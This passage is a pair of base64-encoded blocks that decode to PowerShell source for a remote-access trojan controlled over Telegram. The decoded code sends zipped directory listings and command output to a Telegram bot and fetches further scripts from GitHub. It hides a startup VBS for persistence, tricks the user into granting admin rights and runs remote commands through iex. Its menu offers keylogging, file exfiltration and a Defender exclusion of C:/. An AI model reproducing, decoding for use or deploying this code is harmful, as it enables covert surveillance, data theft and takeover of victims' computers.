c2lvbiBTdGFydGVkIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCn0NCg0KRnVuY3Rpb24gRm9sZGVyVHJlZXsNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9EZXNrdG9wIC9BIC9GIHwgT3V0LUZpbGUgJGVudjp0ZW1wL0Rlc2t0b3AudHh0DQp0cmVlICRlbnY6VVNFUlBST0ZJTEUvRG9jdW1lbnRzIC9BIC9GIHwgT3V0LUZpbGUgJGVudjp0ZW1wL0RvY3VtZW50cy50eHQNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9Eb3dubG9hZHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG93bmxvYWRzLnR4dA0KdHJlZSAkZW52OkFQUERBVEEgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvQXBwZGF0YS50eHQNCnRyZWUgJGVudjpQUk9HUkFNRklMRVMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvUHJvZ3JhbUZpbGVzLnR4dA0KJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL1RyZWVzT2ZLbm93bGVkZ2UuemlwIg0KQ29tcHJlc3MtQXJjaGl2ZSAtUGF0aCAkZW52OlRFTVBcRGVza3RvcC50eHQsICRlbnY6VEVNUFxEb2N1bWVudHMudHh0LCAkZW52OlRFTVBcRG93bmxvYWRzLnR4dCwgJGVudjpURU1QXEFwcGRhdGEudHh0LCAkZW52OlRFTVBcUHJvZ3JhbUZpbGVzLnR4dCAtRGVzdGluYXRpb25QYXRoICR6aXBGaWxlUGF0aA0Kc2xlZXAgMQ0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkemlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0Kcm0gLVBhdGggJHppcEZpbGVQYXRoIC1Gb3JjZQ0KV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gQWRkUGVyc2lzdGFuY2V7DQokbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCiRzY3JpcHRDb250ZW50IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1mb3JjZQ0Kc2xlZXAgMQ0KaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAiYCR0ZyA9IGAiJHRnYCIiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1Gb3JjZQ0KICAgICJgJGdoID0gYCIkZ2hgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUFwcGVuZA0KICAgIGlgd3IgLVVyaSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9hc3NldHMvbWFpbi9TY3JpcHRzL1RHLUMyLnBzMSIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICBzbGVlcCAxDQogICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgfQ0KJHRvYmF0ID0gQCcNClNldCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpvYmpTaGVsbC5SdW4gInBvd2Vyc2hlbGwuZXhlIC1Ob25JIC1Ob1AgLUV4ZWMgQnlwYXNzIC1XIEhpZGRlbiAtRmlsZSAiIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIiIiLCAwLCBUcnVlDQonQA0KJHB0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpXcml0ZS1PdXRwdXQgIlBlcnNpc3RhbmNlIEFkZGVkLiINCnJtIC1wYXRoICIkZW52OlRFTVBcdGVtcC5wczEiIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBSZW1vdmVQZXJzaXN0YW5jZXsNCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0Kcm0gLVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KV3JpdGUtT3V0cHV0ICJVbmluc3RhbGxlZC4iDQp9DQoNCkZ1bmN0aW9uIFBhdXNlU2Vzc2lvbnsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkcGF1c2UgUGF1c2luZyBTZXNzaW9uLi4iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KJG5ld1NjcmlwdFBhdGggPSAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxIg0KJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQppZiAoJG5ld1NjcmlwdFBhdGguTGVuZ3RoIC1sdCAxMDApew0KICAgICJgJHRnID0gYCIkdGdgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUZvcmNlDQogICAgImAkZ2ggPSBgIiRnaGAiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgaWB3ciAtVXJpICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVpZ2V3b3JtL2Fzc2V0cy9tYWluL1NjcmlwdHMvVEctQzIucHMxIiAtT3V0RmlsZSAiJGVudjp0ZW1wL3RlbXAucHMxIg0KICAgIEdldC1Db250ZW50IC1QYXRoICIkZW52OnRlbXAvdGVtcC5wczEiIHwgT3V0LUZpbGUgJG5ld1NjcmlwdFBhdGggLUFwcGVuZA0KICAgIH0NCiR0b2JhdCA9IEAnDQpTZXQgb2JqU2hlbGwgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0Kb2JqU2hlbGwuUnVuICJwb3dlcnNoZWxsLmV4ZSAtTm9uSSAtTm9QIC1FeGVjIEJ5cGFzcyAtVyBIaWRkZW4gLUZpbGUgIiIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC5wczEiIiIsIDAsIFRydWUNCidADQokcHRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1x0ZW1wLnZicyINCiR0b2JhdCB8IE91dC1GaWxlIC1GaWxlUGF0aCAkcHRoIC1Gb3JjZQ0Kc2xlZXAgMg0KU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJHB0aA0Kcm0gLXBhdGggIiRlbnY6VEVNUFx0ZW1wLnBzMSIgLUZvcmNlDQpleGl0DQp9DQoNCkZ1bmN0aW9uIElzQWRtaW57DQpJZiAoIShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWxdW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkpLklzSW5Sb2xlKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0J1aWx0SW5Sb2xlXSdBZG1pbmlzdHJhdG9yJykpIHsNCiAgICAkY29udGVudHMgPSAiJGNsb3NlZCBDdXJyZW50IFNlc3Npb24gaXMgTk9UIEFkbWluICRjbG9zZWQiDQogICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICB9DQogICAgZWxzZXsNCiAgICAkY29udGVudHMgPSAiJHRpY2sgQ3VycmVudCBTZXNzaW9uIElTIEFkbWluICR0aWNrIg0KICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgfQ0KfQ0KDQpGdW5jdGlvbiBBdHRlbXB0RWxldmF0ZXsNCldyaXRlLU91dHB1dCAiUHJvbXB0IFNlbnQgdG8gVXNlci4uIg0KaWYoIShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWxdW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkpLklzSW5Sb2xlKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0J1aWx0SW5Sb2xlXSdBZG1pbmlzdHJhdG9yJykpIHsNCiAgICAkbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC5wczEiDQogICAgJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQogICAgaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAgICAgImAkdGcgPSBgIiR0Z2AiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtRm9yY2UNCiAgICAgICAgImAkZ2ggPSBgIiRnaGAiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgICAgIGlgd3IgLVVyaSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9hc3NldHMvbWFpbi9TY3JpcHRzL1RHLUMyLnBzMSIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICAgICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgICAgIH0NCiAgICBTdGFydC1Qcm9jZXNzIFBvd2VyU2hlbGwuZXhlIC1Bcmd1bWVudExpc3QgKCItTm9QIC1FcCBCeXBhc3MgLVcgSGlkZGVuIC1GaWxlIGAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxYCIiKSAtVmVyYiBSdW5Bcw0KICAgIFNsZWVwIDENCiAgICBybSAtcGF0aCAiJGVudjpURU1QXHRlbXAucHMxIiAtRm9yY2UNCiAgICB9DQp9DQoNCkZ1bmN0aW9uIFRvZ2dsZUVycm9yc3sNCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDApew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAxDQogICAgJGNvbnRlbnRzID0gIiR0aWNrIEVycm9yIE1lc3NhZ2luZyBPTiAkdGljayINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDEpew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAwDQogICAgJGNvbnRlbnRzID0gIiRjbG9zZWQgRXJyb3IgTWVzc2FnaW5nIE9GRiAkY2xvc2VkIg0KICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgcmV0dXJuDQogICAgfQ0KfQ0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBURUxFR1JBTSBGVUNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCkZ1bmN0aW9uIElzQXV0aHsgDQpwYXJhbSgkQ2hlY2tNZXNzYWdlKQ0KICAgIGlmICgoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJExhc3RVbkF1dGhNc2cpIC1hbmQgKCRDaGVja01lc3NhZ2UubWVzc2FnZS50ZXh0IC1saWtlICRQYXNzUGhyYXNlKSAtYW5kICgkQ2hlY2tNZXNzYWdlLm1lc3NhZ2UuZnJvbS5pc19ib3QgLWxpa2UgJGZhbHNlKSl7DQogICAgICAgICRzY3JpcHQ6QWNjZXB0ZWRTZXNzaW9uPSJBdXRoZW50aWNhdGVkIg0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgU2Vzc2lvbiBTdGFydGluZy4uLiINCiAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KICAgICAgICBTaG93QnV0dG9ucw0KICAgICAgICByZXR1cm4gJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgIH1FbHNle3JldHVybiAwfQ0KfQ0KDQpGdW5jdGlvbiBTdHJtRlh7DQpwYXJhbSgkU3RyZWFtKQ0KJEZpeGVkUmVzdWx0PUAoKQ0KJFN0cmVhbSB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6dGVtcCAtQ2hpbGRQYXRoICJ0Z2MyLnR4dCIpIC1Gb3JjZQ0KJFJlYWRBc0FycmF5PSBHZXQtQ29udGVudCAtUGF0aCAoSm9pbi1QYXRoICRlbnY6dGVtcCAtQ2hpbGRQYXRoICJ0Z2MyLnR4dCIpIHwgd2hlcmUgeyRfLmxlbmd0aCAtZ3QgMH0NCmZvcmVhY2ggKCRsaW5lIGluICRSZWFkQXNBcnJheSl7DQogICAgJEFyck9iaj1OZXctT2JqZWN0IHBzb2JqZWN0DQogICAgJEFyck9iaiB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICJMaW5lIiAtVmFsdWUgKCRsaW5lKS50b3N0cmluZygpDQogICAgJEZpeGVkUmVzdWx0ICs9JEFyck9iag0KfQ0KcmV0dXJuICRGaXhlZFJlc3VsdA0KfQ0KDQpGdW5jdGlvbiBzdGdtc2d7DQpwYXJhbSgkTWVzc2FnZXRleHQsJENoYXRJRCkNCiRGaXhlZFRleHQ9U3RybUZYIC1TdHJlYW0gJE1lc3NhZ2V0ZXh0DQokTWVzc2FnZVRvU2VuZCB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICd0ZXh0JyAtVmFsdWUgJEZpeGVkVGV4dC5saW5lIC1Gb3JjZQ0KJEpzb25EYXRhPSgkTWVzc2FnZVRvU2VuZCB8IENvbnZlcnRUby1Kc29uKQ0KaXJtIC1NZXRob2QgUG9zdCAtVXJpICgkVVJMICsnL3NlbmRNZXNzYWdlJykgLUJvZHkgJEpzb25EYXRhIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiINCiRjYXRjaGVyID0gJEZpeGVkVGV4dA0KfQ0KDQpGdW5jdGlvbiBydGdtc2d7DQp0cnl7DQogICAgJGluTWVzc2FnZT1pcm0gLU1ldGhvZCBHZXQgLVVyaSAoJFVSTCArJy9nZXRVcGRhdGVzJykgLUVycm9yQWN0aW9uIFN0b3ANCiAgICByZXR1cm4gJGluTWVzc2FnZS5yZXN1bHRbLTFdDQogICAgfQ0KQ2F0Y2h7cmV0dXJuICJUR0ZhaWwifQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gU1RBUlQgVEhFIFdBSVQgVE8gQ09OTkVDVCBMT09QIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpXaGlsZSAoJHRydWUpew0Kc2xlZXAgMg0KJG1lc3NhZ2VzPXJ0Z21zZw0KICAgIGlmICgkTGFzdFVuQXV0aE1zZyAtbGlrZSAkbnVsbCl7JExhc3RVbkF1dGhNc2c9JG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZX0NCiAgICBpZiAoISgkQWNjZXB0ZWRTZXNzaW9uKSl7JENoZWNrQXV0aGVudGljYXRpb249SXNBdXRoIC1DaGVja01lc3NhZ2UgJG1lc3NhZ2VzfQ0KICAgIEVsc2V7DQogICAgICAgIGlmICgoJENoZWNrQXV0aGVudGljYXRpb24gLW5lIDApIC1hbmQgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLW5vdGxpa2UgJFBhc3NQaHJhc2UpIC1hbmQgKCRtZXNzYWdlcy5tZXNzYWdlLmRhdGUgLW5lICRsYXN0ZXhlY01lc3NhZ2VJRCkpew0KICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICRSZXN1bHQ9aWVgeCgkbWVzc2FnZXMubWVzc2FnZS50ZXh0KSAtRXJyb3JBY3Rpb24gU3RvcA0KICAgICAgICAgICAgICAgICRSZXN1bHQNCiAgICAgICAgICAgICAgICBpZiAoKCRyZXN1bHQubGVuZ3RoIC1lcSAwKSAtb3IgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJLZXlDYXB0dXJlIikgLW9yICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1jb250YWlucyAiRXhmaWx0cmF0aW9uIikpe30NCiAgICAgICAgICAgICAgICBlbHNlew0KICAgICAgICAgICAgICAgIHN0Z21zZyAtTWVzc2FnZXRleHQgJFJlc3VsdCAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWNhdGNoIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGdsb2JhbDplcnJvcm1zZyAtZXEgMSl7DQogICAgICAgICAgICAgICAgICAgIHN0Z21zZyAtTWVzc2FnZXRleHQgKCRfLmV4Y2VwdGlvbi5tZXNzYWdlKSAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIEZpbmFsbHl7JGxhc3RleGVjTWVzc2FnZUlEPSRtZXNzYWdlcy5tZXNzYWdlLmRhdGV9DQogICAgICAgIH0NCiAgICB9DQp9' +STRING $b64 = 'IyBEZWZpbmUgVXNlciBWYXJpYWJsZXMNCiRUb2tlbiA9ICIkdGciICAjIFJFUExBQ0UgJHRnIHdpdGggWW91ciBUZWxlZ3JhbSBCb3QgVG9rZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojIERlZmluZSBDb25uZWN0aW9uIFZhcmlhYmxlcw0KJFBhc3NQaHJhc2UgPSAiJGVudjpDT01QVVRFUk5BTUUiICMgJ3Bhc3N3b3JkJyBmb3IgdGhpcyBjb25uZWN0aW9uIChjb21wdXRlcm5hbWUgYnkgZGVmYXVsdCkNCiRnbG9iYWw6ZXJyb3Jtc2cgPSAwICMgMSA9IHJldHVybiBlcnJvciBtZXNzYWdlcyB0byBjaGF0IChvZmYgYnkgZGVmYXVsdCkNCiRwYXJlbnQgPSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9Qb3dlcnNoZWxsLVRvb2xzLWFuZC1Ub3lzL21haW4vQ29tbWFuZC1hbmQtQ29udHJvbC9UZWxlZ3JhbS1DMi1DbGllbnQucHMxIiAjIHBhcmVudCBzY3JpcHQgVVJMIChmb3IgcmVzdGFydHMgYW5kIHBlcnNpc3RhbmNlKQ0KJEFjY2VwdGVkU2Vzc2lvbj0iIg0KJExhc3RVbkF1dGhlbnRpY2F0ZWRNZXNzYWdlPSIiDQokbGFzdGV4ZWNNZXNzYWdlSUQ9IiINCiMgRW1vamkgY2hhcmFjdGVycw0KJHRpY2sgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzA1KQ0KJGNvbXAgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjRCQikNCiRjbG9zZWQgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzRDKQ0KJHdhaXRpbmcgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjU1QykNCiRnbGFzcyA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDFGNTBEKQ0KJGNtZGUgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjUxNykNCiRwYXVzZSA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDIzRjgpDQojIHJlbW92ZSBwYXVzZSBmaWxlcw0KaWYoVGVzdC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC5wczEiKXtybSAtcGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxIiAtRm9yY2V9DQppZihUZXN0LVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1x0ZW1wLnZicyIpe3JtIC1wYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC52YnMiIC1Gb3JjZX0NCiMgU3RhcnR1cCBEZWxheQ0KU2xlZXAgNQ0KaWYoVGVzdC1QYXRoICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIil7cm0gLXBhdGggIkM6XFdpbmRvd3NcVGFza3Ncc2VydmljZS52YnMiIC1Gb3JjZX0NCiMgR2V0IENoYXQgSUQgZnJvbSB0aGUgYm90DQokYXBpVXJsID0gImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZE1lc3NhZ2UiDQokVVJMID0gJ2h0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3R7MH0nIC1mICRUb2tlbg0KJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCmlmICgkdXBkYXRlcy5vayAtZXEgJHRydWUpIHskbGF0ZXN0VXBkYXRlID0gJHVwZGF0ZXMucmVzdWx0Wy0xXQ0KaWYgKCRsYXRlc3RVcGRhdGUubWVzc2FnZSAtbmUgJG51bGwpeyRjaGF0SUQgPSAkbGF0ZXN0VXBkYXRlLm1lc3NhZ2UuY2hhdC5pZDtXcml0ZS1Ib3N0ICJDaGF0IElEOiAkY2hhdElEIn19DQokTXRzID0gTmV3LU9iamVjdCBwc29iamVjdCANCiRNdHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAnY2hhdF9pZCcgLVZhbHVlICRDaGF0SUQNCiMgQ29sbGVjdCBzY3JpcHQgY29udGVudHMNCiRzY3JpcHREaXJlY3RvcnkgPSBHZXQtQ29udGVudCAtcGF0aCAkTXlJbnZvY2F0aW9uLk15Q29tbWFuZC5OYW1lIC1SYXcNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBPTiBTVEFSVCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWVzc2FnZSB3YWl0aW5nIGZvciBwYXNzcGhyYXNlDQokY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHdhaXRpbmcgV2FpdGluZyB0byBDb25uZWN0Li4iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIEFDVElPTiBGVU5DVElPTlMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpGdW5jdGlvbiBPcHRpb25zew0KJGNvbnRlbnRzID0gIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj09PT09PT09PSAkY29tcCBUZWxlZ3JhbSBDMiBPcHRpb25zIExpc3QgJGNvbXAgPT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj09PT09PT09PT09PT0gJGNtZGUgQ29tbWFuZHMgTGlzdCAkY21kZSA9PT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KQ2xvc2UgICA6IENsb3NlIHRoaXMgU2Vzc2lvbg0KRXh0cmEtSW5mbyAgICA6IEV4dHJhIGNvbW1hbmRzIGluZm9ybWF0aW9uDQpQYXVzZS1TZXNzaW9uICAgOiBLaWxscyB0aGlzIHNlc3Npb24gYW5kIHJlc3RhcnRzDQpUb2dnbGUtRXJyb3JzICAgIDogVG9nZ2xlIGVycm9yIG1lc3NhZ2VzIHRvIGNoYXQNCkZvbGRlci1UcmVlICAgIDogR2V0cyBEaXIgdHJlZSBhbmQgc2VuZHMgaXQgemlwcGVkDQpTY3JlZW5zaG90ICAgOiBTZW5kcyBhIHNjcmVlbnNob3Qgb2YgdGhlIGRlc2t0b3ANCktleS1DYXB0dXJlICAgIDogQ2FwdHVyZSBLZXlzdHJva2VzIGFuZCBzZW5kDQpFeGZpbHRyYXRlICAgOiBTZW5kcyBmaWxlcyAoc2VlIGJlbG93IGZvciBpbmZvKQ0KVXBsb2FkICAgICAgOiBVcGxvYWRzIGEgc3BlY2lmaWMgZmlsZSAodXNlIC1wYXRoKQ0KU3lzdGVtLUluZm8gICA6IFNlbmQgU3lzdGVtIGluZm8gYXMgdGV4dCBmaWxlDQpTb2Z0d2FyZS1JbmZvICAgOiBTZW5kIFNvZnR3YXJlIGluZm8gYXMgdGV4dCBmaWxlDQpIaXN0b3J5LUluZm8gICA6IFNlbmQgSGlzdG9yeSBpbmZvIGFzIHRleHQgZmlsZQ0KQWRkLVBlcnNpc3RhbmNlICAgOiBBZGQgVGVsZWdyYW0gQzIgdG8gU3RhcnR1cA0KUmVtb3ZlLVBlcnNpc3RhbmNlICAgOiBSZW1vdmUgU3RhcnR1cCBQZXJzaXN0YW5jZQ0KSXMtQWRtaW4gICA6IENoZWNrcyBpZiBzZXNzaW9uIGhhcyBhZG1pbiBQcml2aWxlZ2VzDQpBdHRlbXB0LUVsZXZhdGUgIDogU2VuZCB1c2VyIGEgcHJvbXB0IHRvIGdhaW4gQWRtaW4NCk1lc3NhZ2UgICA6IFNlbmQgYSBtZXNzYWdlIHRvIGNvbm5lY3RlZCBjb21wdXRlcg0KS2lsbCAgICA6IEtpbGxzd2l0Y2ggZm9yICdLZXktQ2FwdHVyZScgYW5kICdFeGZpbHRyYXRlJyANCioqQURNSU4gT05MWSBGVU5DVElPTlMqKg0KRGlzYWJsZS1BViAgIDogQXR0ZW1wdCB0byBleGNsdWRlIEM6LyBmcm9tIERlZmVuZGVyDQpEaXNhYmxlLUhJRCAgIDogRGlzYWJsZSBNaWNlIGFuZCBLZXlib2FyZHMNCkVuYWJsZS1ISUQgICAgOiBFbmFibGUgTWljZSBhbmQgS2V5Ym9hcmRzDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT